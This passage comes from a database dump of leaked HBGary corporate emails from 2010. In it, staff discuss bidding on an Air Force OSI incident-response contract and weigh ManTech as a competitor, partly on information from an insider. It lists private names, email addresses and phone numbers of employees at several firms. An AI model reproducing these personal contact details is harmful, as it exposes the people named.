\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',6802,'aaron_hbgary_com/6802.html'),(1944,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000739.M838156P3547Q1944.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Alliant AF OSI RFP Guardian Requirement','Man he&#39;s like a broken record sometimes.From my iPhoneBegin forwarded message:From: Bob Slapnik &lt;bob@hbgary.com&gt;\r\nDate: February 3, 2010 8:19:37 AM MSTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Greg Hoglund &lt;greg@hbgary.com&gt;, Penny Leavy &lt;penny@hbgary.com&gt;, Ted Vera &lt;ted@hbgary.com&gt;,  Rich Cummings &lt;rich@hbgary.com&gt;\r\nSubject: Re: Alliant AF OSI RFP Guardian RequirementAll,\r\n \r\nHBGary needs to watch ManTech as a competitor.  They have a long successful history of doing r/e of malware and vuln analysis and have developed tools. Jesse Kornblum is a noted physical memory analysis expert and has developed many tools.  A ManTech biz dev guy told me the CEO of ManTech wants to offer commercial s/w in these arenas and would be a direct competitor.  Whenever ManTech shows up as a prospect we need to be extremely careful in that they may actually be milking us for info.\r\n\r\n\r\n \r\nBob\r\nOn Wed, Feb 3, 2010 at 10:03 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nCheck out this RFP to deliver IR, Forensics, Malware analysis to the airforce.  TASC, Inc. wants us to provide the capability to go after this.  Ted and I will discuss today to see what we want to do.  The total list of companies that can prime this contract are listed here: \r\n\r\nhttp://www.google.com/search?client=safari&amp;rls=en&amp;q=Alliant+contract+award&amp;ie=UTF-8&amp;oe=UTF-8\r\n\r\n\r\n\r\nOn the list the only ones I know of that have a native capability in this area are Mantech and SRA, can you look at the list and tell me who I am missing.  We are looking to team with TASC/MacAulay-Brown.\r\n\r\nBetween this, the DARPA BAA and developing a more tactical IR service offering Ted and I will be busy.  For all of these we are going to need some writing assistance for content but Ted and I will do most of it.\r\n\r\n\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;Gutierrez, Daniel L (TASC Inc)&quot; &lt;daniel.gutierrez@TASC.COM&gt;\r\n\r\n\r\nDate: February 2, 2010 4:12:47 PM PST\r\n\r\n\r\nTo: &lt;aaron@hbgary.com&gt;, &lt;ted@hbgary.com&gt;\r\n\r\n\r\nSubject: Fw: Alliant AF OSI RFP Guardian Requirement\r\n\r\n\r\n\r\n\r\nFrom: Henderson, Van B (TASC Inc) To: Gutierrez, Daniel L (TASC Inc) Sent: Thu Jan 28 14:08:55 2010Subject: FW: Alliant AF OSI RFP Guardian Requirement \r\n\r\n\r\n\r\nIf interested, I suspect the big question will be how do we get onto Alliant, given TASC does not hold that contract vehicle.\r\n\r\n\r\n \r\nLet me know if interested………    I still get this info from NG until they figure out not to send to me.\r\n\r\n\r\n \r\n Van\r\n \r\n\r\nVan Henderson\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTASC, Inc\r\n\r\n\r\nDirector, Business Development\r\n4807 Stonecroft Boulevard\r\n\r\n\r\nChantilly, VA 20151\r\n(703) 449-3996 (voice)\r\n(703) 961-1781 (fax)\r\n(703) 365-4131 (pager)\r\n7033654131@airmessage.net (mobile email)\r\n\r\n\r\n \r\n\r\n\r\nFrom: James, Tami M (IS) \r\n\r\nSent: Thursday, January 28, 2010 2:08 PMTo: DL Information Systems IDIQ DistributionSubject: Alliant AF OSI RFP Guardian Requirement\r\n\r\n\r\n \r\nContract: Alliant\r\n\r\n\r\nCustomer: Air Force\r\n\r\n\r\nTitle: Guardian\r\n\r\n\r\nType of Task Order: Cost Plus Fixed Fee\r\n\r\n\r\nPlace of Performance: San Antonio, TX\r\n\r\n\r\nPeriod of Performance: One-Year Base Period plus one (1) option year\r\n\r\n\r\nIncumbent: Not identified\r\n\r\n\r\nQuestions Due: 3:00 PM CST, 3 Feb 2010\r\n\r\n\r\nProposals Due: 12:00 PM Central Time on 22 Feb 2010\r\n\r\n\r\nScope: This effort provides technical support to the Air Force Office of Special Investigations (AFOSI) and other law enforcement (LE) and counterintelligence (CI) organizations by designing and constructing cyber capabilities that can be used to counter the enemy’s use of the Internet.  Additionally, this initiative will assist Air Force Network Defenders and AFOSI Computer Crime Investigators (CCIs) with the detection, containment, and collection, analysis, and reverse engineering of malicious logic. 1 The contractor shall develop and enhance existing computer security technologies necessary to support LE/CI investigations and operations.\r\n\r\n\r\nTop Secret Security clearance required.\r\n \r\nNOTE:  If you have any questions please contact Susan Bethke (Susan.Bethke@ngc.com) and Tami James (Tami.James@ngc.com)\r\n\r\n\r\nPlease do not contact the customer or GSA regarding this opportunity.  All communications must be via the NG Alliant PMO.\r\n\r\n\r\n \r\nIf interested in responding, please &lt;Reply to All&gt; by 2:00PM EST, Jan 29, 2010\r\n\r\n\r\n \r\nThank you,\r\n \r\n\r\nTami M. James\r\nIDIQ Project Assistant\r\nIDIQ Solutions Team\r\n\r\n\r\nNorthrop Grumman IT\r\n15010 Conference Center Dr.\r\nChantilly, VA 20151\r\nTel: 703-336-9134\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n\r\n\r\n',11963,'aaron_hbgary_com/11963.html'),(1945,'2010-02-03','rich@hbgary.com','/aaron@hbgary.com/new/1297000740.M241137P3547Q1946.eml','\"Aaron Barr\" <aaron@hbgary.com>','Lots of good info for you...','I look forward to catching up soon.  I spent 25 minutes yesterday with vanputte.  I demoed ddna, epo, and responder pro.  Other key contacts too.  If nothing else see you in the AM.\r\nSent from my Verizon Wireless BlackBerry\r\n',11886,'aaron_hbgary_com/11886.html'),(1946,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000740.M494934P3547Q1947.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,,','Re: Alliant AF OSI RFP Guardian Requirement','I agree I think things have changed at Mantech with the hiringOf Larry (CEO) and Bill (president). They are agressive about growing/building capability but every impression I have gotten recently is they want to partner where itales sense and will grow their business.\r\nAaron      From my iPhoneOn Feb 3, 2010, at 10:39 AM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nMy .02.  \r\n\r\n \r\n\r\nBob is correct that in the past Mantech has done HBGary harm. \r\nHowever my understanding is the team that Bob is talking about is fracturing over\r\nat Mantech.  This team was brought in with Mantech’s acquisition of\r\nAegis Research back in 2004 timeframe.   Many of the top guys who\r\nmake things happen at the worker bee/mid management level have already\r\nleft.  More are expected to leave by April 2010.  I have an insider\r\nat the VP level sharing this with me.    Kornblum is still there\r\nbut I understand that his “spidey sense” is tingling and he is\r\naware that everyone is jumping ship to go somewhere else.  He has been\r\nasking where everyone is going and trying to stay in the loop.   Some\r\nof the guys I’m referring to have started another company on their own and\r\nare interested in talking with Aaron.\r\n\r\n \r\n\r\nI will share more info in conversation.\r\n\r\n \r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, February 03, 2010 10:20 AM\r\nTo: Aaron Barr\r\nCc: Greg Hoglund; Penny Leavy; Ted Vera; Rich Cummings\r\nSubject: Re: Alliant AF OSI RFP Guardian Requirement\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHBGary needs to watch ManTech as a competitor.  They\r\nhave a long successful history of doing r/e of malware and vuln analysis and\r\nhave developed tools. Jesse Kornblum is a noted physical memory analysis expert\r\nand has developed many tools.  A ManTech biz dev guy told me the CEO\r\nof ManTech wants to offer commercial s/w in these arenas and would be a direct\r\ncompetitor.  Whenever ManTech shows up as a prospect we need to be\r\nextremely careful in that they may actually be milking us for info.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Feb 3, 2010 at 10:03 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nCheck out this RFP to deliver IR, Forensics, Malware\r\nanalysis to the airforce.  TASC, Inc. wants us to provide the capability\r\nto go after this.  Ted and I will discuss today to see what we want to do.\r\n The total list of companies that can prime this contract are listed here:\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nhttp://www.google.com/search?client=safari&amp;rls=en&amp;q=Alliant+contract+award&amp;ie=UTF-8&amp;oe=UTF-8\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn the list the only ones I know of that have a native\r\ncapability in this area are Mantech and SRA, can you look at the list and tell\r\nme who I am missing.  We are looking to team with TASC/MacAulay-Brown.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBetween this, the DARPA BAA and developing a more tactical\r\nIR service offering Ted and I will be busy.  For all of these we are going\r\nto need some writing assistance for content but Ted and I will do most of it.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Gutierrez,\r\nDaniel L (TASC Inc)&quot; &lt;daniel.gutierrez@TASC.COM&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nFebruary\r\n2, 2010 4:12:47 PM PST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&lt;aaron@hbgary.com&gt;, &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nFw: Alliant AF OSI RFP Guardian Requirement\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Henderson, Van B (TASC Inc) \r\nTo: Gutierrez, Daniel L (TASC Inc) \r\nSent: Thu Jan 28 14:08:55 2010\r\nSubject: FW: Alliant AF OSI RFP Guardian Requirement \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIf interested, I suspect the big question will be how do we get\r\nonto Alliant, given TASC does not hold that contract vehicle.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLet me know if interested……… \r\n  I still get this info from NG until they figure out not to send to\r\nme.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n Van\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVan Henderson\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTASC, Inc\r\n\r\n\r\n\r\n\r\n\r\nDirector, Business Development\r\n\r\n\r\n\r\n\r\n\r\n4807 Stonecroft Boulevard\r\n\r\n\r\n\r\n\r\n\r\nChantilly, VA 20151\r\n\r\n\r\n\r\n\r\n\r\n(703) 449-3996 (voice)\r\n\r\n\r\n\r\n\r\n\r\n(703) 961-1781 (fax)\r\n\r\n\r\n\r\n\r\n\r\n(703) 365-4131 (pager)\r\n\r\n\r\n\r\n\r\n\r\n7033654131@airmessage.net (mobile\r\nemail)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: James, Tami M\r\n(IS) \r\nSent: Thursday, January 28, 2010 2:08 PM\r\nTo: DL Information Systems IDIQ Distribution\r\nSubject: Alliant AF OSI RFP Guardian Requirement\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nContract: Alliant\r\n\r\n\r\n\r\n\r\n\r\n\r\nCustomer: Air Force\r\n\r\n\r\n\r\n\r\n\r\n\r\nTitle: Guardian\r\n\r\n\r\n\r\n\r\n\r\n\r\nType of Task Order: Cost Plus Fixed Fee\r\n\r\n\r\n\r\n\r\n\r\nPlace of Performance: San Antonio, TX\r\n\r\n\r\n\r\n\r\n\r\nPeriod of Performance: One-Year Base Period plus\r\none (1) option year\r\n\r\n\r\n\r\n\r\n\r\nIncumbent: Not identified\r\n\r\n\r\n\r\n\r\n\r\nQuestions Due: 3:00 PM CST, 3 Feb 2010\r\n\r\n\r\n\r\n\r\n\r\nProposals Due: 12:00 PM Central Time on 22 Feb\r\n2010\r\n\r\n\r\n\r\n\r\n\r\nScope: This\r\neffort provides technical support to the Air Force Office of Special\r\nInvestigations (AFOSI) and other law enforcement (LE) and counterintelligence\r\n(CI) organizations by designing and constructing cyber capabilities that can be\r\nused to counter the enemy’s use of the Internet.  Additionally, this\r\ninitiative will assist Air Force Network Defenders and AFOSI Computer Crime\r\nInvestigators (CCIs) with the detection, containment, and collection, analysis,\r\nand reverse engineering of malicious logic. 1 The contractor shall develop and\r\nenhance existing computer security technologies necessary to support LE/CI\r\ninvestigations and operations.\r\n\r\n\r\n\r\n\r\n\r\nTop\r\nSecret Security clearance required.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nNOTE: \r\nIf you have any questions please contact Susan Bethke (Susan.Bethke@ngc.com)\r\nand Tami James (Tami.James@ngc.com)\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\ndo not contact the customer or GSA regarding this opportunity.  All\r\ncommunications must be via the NG Alliant PMO.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIf interested in responding, please &lt;Reply to All&gt; by 2:00PM\r\nEST, Jan 29, 2010\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThank\r\nyou,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTami M. James\r\n\r\n\r\n\r\n\r\n\r\nIDIQ Project Assistant\r\n\r\n\r\n\r\n\r\n\r\nIDIQ Solutions Team\r\n\r\n\r\n\r\n\r\n\r\n\r\nNorthrop Grumman IT\r\n\r\n\r\n\r\n\r\n\r\n15010 Conference Center Dr.\r\n\r\n\r\n\r\n\r\n\r\nChantilly, VA 20151\r\n\r\n\r\n\r\n\r\n\r\nTel: 703-336-9134\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nBob Slapnik\r\nVice President\r\nHBGary, Inc.\r\n301-652-8885 x104\r\nbob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',201,'aaron_hbgary_com/201.html'),(1947,'2010-02-03','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000740.M60297P3547Q1945.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Alliant AF OSI RFP Guardian Requirement','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMy .02.&nbsp; \r\n\r\n&nbsp;\r\n\r\nBob is correct that in the past Mantech has done HBGary harm.&nbsp;\r\nHowever my understanding is the team that Bob is talking about is fracturing over\r\nat Mantech. &nbsp;This team was brought in with Mantech&#8217;s acquisition of\r\nAegis Research back in 2004 timeframe. &nbsp;&nbsp;Many of the top guys who\r\nmake things happen at the worker bee/mid management level have already\r\nleft.&nbsp; More are expected to leave by April 2010.&nbsp; I have an insider\r\nat the VP level sharing this with me.&nbsp; &nbsp;&nbsp;Kornblum is still there\r\nbut I understand that his &#8220;spidey sense&#8221; is tingling and he is\r\naware that everyone is jumping ship to go somewhere else.&nbsp; He has been\r\nasking where everyone is going and trying to stay in the loop.&nbsp;&nbsp; Some\r\nof the guys I&#8217;m referring to have started another company on their own and\r\nare interested in talking with Aaron.\r\n\r\n&nbsp;\r\n\r\nI will share more info in conversation.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, February 03, 2010 10:20 AM\r\nTo: Aaron Barr\r\nCc: Greg Hoglund; Penny Leavy; Ted Vera; Rich Cummings\r\nSubject: Re: Alliant AF OSI RFP Guardian Requirement\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHBGary needs to watch ManTech as a competitor.&nbsp; They\r\nhave a long successful history of doing r/e of malware and vuln analysis and\r\nhave developed tools. Jesse Kornblum is a noted physical memory analysis expert\r\nand has developed many tools.&nbsp; A ManTech biz dev&nbsp;guy told me the CEO\r\nof ManTech wants to offer commercial s/w in these arenas and would be a direct\r\ncompetitor.&nbsp; Whenever ManTech shows up as a prospect we need to be\r\nextremely careful in that they may actually be milking us for info.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Feb 3, 2010 at 10:03 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nCheck out this RFP to deliver IR, Forensics, Malware\r\nanalysis to the airforce. &nbsp;TASC, Inc. wants us to provide the capability\r\nto go after this. &nbsp;Ted and I will discuss today to see what we want to do.\r\n&nbsp;The total list of companies that can prime this contract are listed here:\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.google.com/search?client=safari&amp;rls=en&amp;q=Alliant+contract+award&amp;ie=UTF-8&amp;oe=UTF-8\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn the list the only ones I know of that have a native\r\ncapability in this area are Mantech and SRA, can you look at the list and tell\r\nme who I am missing. &nbsp;We are looking to team with TASC/MacAulay-Brown.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBetween this, the DARPA BAA and developing a more tactical\r\nIR service offering Ted and I will be busy. &nbsp;For all of these we are going\r\nto need some writing assistance for content but Ted and I will do most of it.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Gutierrez,\r\nDaniel L (TASC Inc)&quot; &lt;daniel.gutierrez@TASC.COM&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nFebruary\r\n2, 2010 4:12:47 PM PST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&lt;aaron@hbgary.com&gt;, &lt;ted@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nFw: Alliant AF OSI RFP Guardian Requirement\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Henderson, Van B (TASC Inc)&nbsp;\r\nTo: Gutierrez, Daniel L (TASC Inc)&nbsp;\r\nSent: Thu Jan 28 14:08:55 2010\r\nSubject: FW: Alliant AF OSI RFP Guardian Requirement&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIf interested, I suspect the big question will be how do we get\r\nonto Alliant, given TASC does not hold that contract vehicle.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me know if interested&#8230;&#8230;&#8230;&nbsp;\r\n&nbsp;&nbsp;I still get this info from NG until they figure out not to send to\r\nme.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;Van\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVan Henderson\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTASC, Inc\r\n\r\n\r\n\r\n\r\n\r\nDirector, Business Development\r\n\r\n\r\n\r\n\r\n\r\n4807 Stonecroft Boulevard\r\n\r\n\r\n\r\n\r\n\r\nChantilly, VA 20151\r\n\r\n\r\n\r\n\r\n\r\n(703) 449-3996 (voice)\r\n\r\n\r\n\r\n\r\n\r\n(703) 961-1781 (fax)\r\n\r\n\r\n\r\n\r\n\r\n(703) 365-4131 (pager)\r\n\r\n\r\n\r\n\r\n\r\n7033654131@airmessage.net&nbsp;(mobile\r\nemail)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;James, Tami M\r\n(IS)&nbsp;\r\nSent:&nbsp;Thursday, January 28, 2010 2:08 PM\r\nTo:&nbsp;DL Information Systems IDIQ Distribution\r\nSubject:&nbsp;Alliant AF OSI RFP Guardian Requirement\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nContract:&nbsp;Alliant\r\n\r\n\r\n\r\n\r\n\r\nCustomer:&nbsp;Air Force\r\n\r\n\r\n\r\n\r\n\r\nTitle:&nbsp;Guardian\r\n\r\n\r\n\r\n\r\n\r\nType of Task Order:&nbsp;Cost Plus Fixed Fee\r\n\r\n\r\n\r\n\r\n\r\nPlace of Performance:&nbsp;San Antonio, TX\r\n\r\n\r\n\r\n\r\n\r\nPeriod of Performance:&nbsp;One-Year Base Period plus\r\none (1) option year\r\n\r\n\r\n\r\n\r\n\r\nIncumbent:&nbsp;Not identified\r\n\r\n\r\n\r\n\r\n\r\nQuestions Due:&nbsp;3:00 PM CST, 3 Feb 2010\r\n\r\n\r\n\r\n\r\n\r\nProposals Due:&nbsp;12:00 PM Central Time on 22 Feb\r\n2010\r\n\r\n\r\n\r\n\r\n\r\nScope:&nbsp;This\r\neffort provides technical support to the Air Force Office of Special\r\nInvestigations (AFOSI) and other law enforcement (LE) and counterintelligence\r\n(CI) organizations by designing and constructing cyber capabilities that can be\r\nused to counter the enemy&#8217;s use of the Internet.&nbsp; Additionally, this\r\ninitiative will assist Air Force Network Defenders and AFOSI Computer Crime\r\nInvestigators (CCIs) with the detection, containment, and collection, analysis,\r\nand reverse engineering of malicious logic. 1 The contractor shall develop and\r\nenhance existing computer security technologies necessary to support LE/CI\r\ninvestigations and operations.\r\n\r\n\r\n\r\n\r\n\r\nTop\r\nSecret Security clearance required.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNOTE:&nbsp;\r\nIf you have any questions please contact Susan Bethke (Susan.Bethke@ngc.com)\r\nand Tami James (Tami.James@ngc.com)\r\n\r\n\r\n\r\n\r\n\r\nPlease\r\ndo not contact the customer or GSA regarding this opportunity.&nbsp; All\r\ncommunications must be via the NG Alliant PMO.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIf interested in responding, please &lt;Reply to All&gt; by 2:00PM\r\nEST, Jan 29, 2010\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThank\r\nyou,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTami M. James\r\n\r\n\r\n\r\n\r\n\r\nIDIQ Project Assistant\r\n\r\n\r\n\r\n\r\n\r\nIDIQ Solutions Team\r\n\r\n\r\n\r\n\r\n\r\nNorthrop Grumman IT\r\n\r\n\r\n\r\n\r\n\r\n15010 Conference Center Dr.\r\n\r\n\r\n\r\n\r\n\r\nChantilly, VA 20151\r\n\r\n\r\n\r\n\r\n\r\nTel: 703-336-9134\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nBob Slapnik\r\nVice President\r\nHBGary, Inc.\r\n301-652-8885 x104\r\nbob@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1061,'aaron_hbgary_com/1061.html'),(1948,'2010-02-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000744.M269602P3547Q1949.eml','\"Gutierrez, Daniel L (TASC Inc)\" <daniel.gutierrez@tasc.com>,\"Gutierrez, Daniel L (TASC Inc)\" <daniel.gutierrez@tasc.com>','Re: Alliant AF OSI RFP Guardian Requirement','So what\'s the next step?\r\n\r\n From my iPhone\r\n\r\nOn Feb 2, 2010, at 7:12 PM, \"Gutierrez, Daniel L (TASC Inc)\"\r\n wrote:\r\n\r\n>\r\n> ________________________________\r\n>\r\n> From: Henderson, Van B (TASC Inc)\r\n> To: Gutierrez, Daniel L (TASC Inc)\r\n> Sent: Thu Jan 28 14:08:55 2010\r\n> Subject: FW: Alliant AF OSI RFP Guardian Requirement\r\n>\r\n>\r\n>\r\n> If interested, I suspect the big question will be how do we get onto\r\n> Alliant, given TASC does not hold that contract vehicle.\r\n>\r\n>\r\n>\r\n> Let me know if interested………    I still get this info from NG\r\n> until they figure out not to send to me.\r\n>\r\n>\r\n>\r\n> Van\r\n>\r\n>\r\n>\r\n> Van Henderson\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> TASC, Inc\r\n>\r\n> Director, Business Development\r\n>\r\n> 4807 Stonecroft Boulevard\r\n>\r\n> Chantilly, VA 20151\r\n>\r\n> (703) 449-3996 (voice)\r\n>\r\n> (703) 961-1781 (fax)\r\n>\r\n> (703) 365-4131 (pager)\r\n>\r\n> 7033654131@airmessage.net (mobile email)\r\n>\r\n>\r\n>\r\n> From: James, Tami M (IS)\r\n> Sent: Thursday, January 28, 2010 2:08 PM\r\n> To: DL Information Systems IDIQ Distribution\r\n> Subject: Alliant AF OSI RFP Guardian Requirement\r\n>\r\n>\r\n>\r\n> Contract: Alliant\r\n>\r\n> Customer: Air Force\r\n>\r\n> Title: Guardian\r\n>\r\n> Type of Task Order: Cost Plus Fixed Fee\r\n>\r\n> Place of Performance: San Antonio, TX\r\n>\r\n> Period of Performance: One-Year Base Period plus one (1) option year\r\n>\r\n> Incumbent: Not identified\r\n>\r\n> Questions Due: 3:00 PM CST, 3 Feb 2010\r\n>\r\n> Proposals Due: 12:00 PM Central Time on 22 Feb 2010\r\n>\r\n> Scope: This effort provides technical support to the Air Force\r\n> Office of Special Investigations (AFOSI) and other law enforcement\r\n> (LE) and counterintelligence (CI) organizations by designing and\r\n> constructing cyber capabilities that can be used to counter the enem\r\n> y’s use of the Internet.  Additionally, this initiative will assist\r\n> Air Force Network Defenders and AFOSI Computer Crime Investigators (\r\n> CCIs) with the detection, containment, and collection, analysis, and\r\n>  reverse engineering of malicious logic. 1 The contractor shall deve\r\n> lop and enhance existing computer security technologies necessary to\r\n>  support LE/CI investigations and operations.\r\n>\r\n> Top Secret Security clearance required.\r\n>\r\n>\r\n>\r\n> NOTE:  If you have any questions please contact Susan Bethke (Susan.Bethke@ngc.com\r\n> ) and Tami James (Tami.James@ngc.com)\r\n>\r\n> Please do not contact the customer or GSA regarding this\r\n> opportunity.  All communications must be via the NG Alliant PMO.\r\n>\r\n>\r\n>\r\n> If 